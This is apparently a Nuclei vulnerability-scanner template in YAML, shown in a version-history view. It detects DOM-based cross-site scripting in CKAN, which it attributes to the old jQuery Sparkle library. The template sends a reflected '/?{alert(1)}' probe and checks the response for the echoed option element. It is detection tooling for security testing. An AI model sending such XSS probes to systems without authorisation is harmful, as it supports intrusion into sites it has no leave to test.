nuclei-templates/vulnerabilities/other/ckan-dom-based-xss.yaml

31 lines
716 B
YAML
Raw Normal View History

2021-06-10 08:07:33 +00:00
id: ckan-dom-based-xss
info:
name: CKAN DOM Based Cross-Site Scripting
2021-06-10 08:07:33 +00:00
author: dhiyaneshDk
severity: medium
description: CKAN uses the old jQuery Sparkle library which is vulnerable to DOM Based XSS.
reference:
- https://github.com/ckan/ckan/blob/b9e45e2723d4abd70fa72b16ec4a0bebc795c56b/ckan/public/base/javascript/view-filters.js#L27
2021-06-10 08:07:33 +00:00
tags: dom,xss
requests:
- method: GET
path:
- '{{BaseURL}}/?{alert(1)}'
2021-06-10 11:57:21 +00:00
matchers-condition: and
2021-06-10 08:07:33 +00:00
matchers:
- type: status
status:
- 200
- type: word
words:
- '<option value="/en/?{alert(1)}" selected="selected">'
- type: word
words:
- 'text/html'
part: header